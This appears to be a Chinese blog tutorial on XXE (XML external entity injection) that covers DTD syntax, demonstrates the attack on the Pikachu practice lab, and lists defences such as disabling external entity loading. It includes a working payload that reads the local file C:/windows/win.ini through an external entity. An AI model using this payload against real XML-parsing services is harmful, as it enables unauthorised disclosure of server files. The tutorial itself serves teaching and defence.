网络安全-XXE(XML外部实体注入)原理、攻击及防御

简介: 网络安全-XXE(XML外部实体注入)原理、攻击及防御

前言

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD文档

<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

内部声明实体

<!ENTITY 实体名称 "实体的值">

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI">

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

调用方式:&实体名称;

简介

XML外部实体注入(XML External Entity,为什么不取首字母呢...),简称XXE漏洞。

原理

服务端接收并解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

攻击

使用靶机:pikachu

2020062310470442.png

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "lady_killer9">
]>
<name>&hacker;</name>

2020062310470442.png

                                                 字符串回显

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">
]>
<name>&hacker;</name>

 2020062310470442.png

                                       敏感文件查看

防御

禁用外部实体

PHP中使用libxml_disable_entity_loader(true);

其他语言(C++、Java等):owasp XXE防御备忘录


博主在做项目时使用的是xml.etree.ElementTree,在python官方文档中也提到对于错误xml以及恶意构建的xml可能存在解析漏洞。不过,python在外部实体注入方面认为是安全的。

过滤用户提交的XML数据

过滤掉关键词:SYSTEM和PUBLIC

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

目录
打赏
0
0
0
0
7
分享
相关文章
深入解析图神经网络注意力机制:数学原理与可视化实现
本文深入解析了图神经网络(GNNs)中自注意力机制的内部运作原理,通过可视化和数学推导揭示其工作机制。文章采用“位置-转移图”概念框架,并使用NumPy实现代码示例,逐步拆解自注意力层的计算过程。文中详细展示了从节点特征矩阵、邻接矩阵到生成注意力权重的具体步骤,并通过四个类(GAL1至GAL4)模拟了整个计算流程。最终,结合实际PyTorch Geometric库中的代码,对比分析了核心逻辑,为理解GNN自注意力机制提供了清晰的学习路径。
172 7
深入解析图神经网络注意力机制:数学原理与可视化实现
【Android】网络技术知识总结之WebView,HttpURLConnection,OKHttp,XML的pull解析方式
本文总结了Android中几种常用的网络技术,包括WebView、HttpURLConnection、OKHttp和XML的Pull解析方式。每种技术都有其独特的特点和适用场景。理解并熟练运用这些技术,可以帮助开发者构建高效、可靠的网络应用程序。通过示例代码和详细解释,本文为开发者提供了实用的参考和指导。
48 15
应用程序中的网络协议:原理、应用与挑战
网络协议是应用程序实现流畅运行和安全通信的基石。了解不同协议的特点和应用场景,以及它们面临的挑战和应对策略,对于开发者和用户都具有重要意义。在未来,随着技术的不断发展,网络协议也将不断优化和创新,为数字世界的发展提供更强大的支持。
深度强化学习中SAC算法:数学原理、网络架构及其PyTorch实现
软演员-评论家算法(Soft Actor-Critic, SAC)是深度强化学习领域的重要进展,基于最大熵框架优化策略,在探索与利用之间实现动态平衡。SAC通过双Q网络设计和自适应温度参数,提升了训练稳定性和样本效率。本文详细解析了SAC的数学原理、网络架构及PyTorch实现,涵盖演员网络的动作采样与对数概率计算、评论家网络的Q值估计及其损失函数,并介绍了完整的SAC智能体实现流程。SAC在连续动作空间中表现出色,具有高样本效率和稳定的训练过程,适合实际应用场景。
453 7
深度强化学习中SAC算法:数学原理、网络架构及其PyTorch实现
【网络原理】——HTTP协议、fiddler抓包
HTTP超文本传输,HTML,fiddler抓包,URL,urlencode,HTTP首行方法,GET方法,POST方法
【网络原理】——带你认识IP~(长文~实在不知道取啥标题了)
IP协议详解,IP协议管理地址(NAT机制),IP地址分类、组成、特殊IP地址,MAC地址,数据帧格式,DNS域名解析系统
【网络原理】——HTTP请求头中的属性
HTTP请求头,HOST、Content-Agent、Content-Type、User-Agent、Referer、Cookie。
【网络原理】——图解HTTPS如何加密(通俗简单易懂)
HTTPS加密过程,明文,密文,密钥,对称加密,非对称加密,公钥和私钥,证书加密
【网络原理】——拥塞控制,延时/捎带应答,面向字节流,异常情况
拥塞控制,延时应答,捎带应答,面向字节流(粘包问题),异常情况(心跳包)
探索网络模型与协议:从OSI到HTTPs的原理解析
OSI七层网络模型和TCP/IP四层模型是理解和设计计算机网络的框架。OSI模型包括物理层、数据链路层、网络层、传输层、会话层、表示层和应用层,而TCP/IP模型则简化为链路层、网络层、传输层和 HTTPS协议基于HTTP并通过TLS/SSL加密数据,确保安全传输。其连接过程涉及TCP三次握手、SSL证书验证、对称密钥交换等步骤,以保障通信的安全性和完整性。数字信封技术使用非对称加密和数字证书确保数据的机密性和身份认证。 浏览器通过Https访问网站的过程包括输入网址、DNS解析、建立TCP连接、发送HTTPS请求、接收响应、验证证书和解析网页内容等步骤,确保用户与服务器之间的安全通信。
231 3

热门文章

最新文章

AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等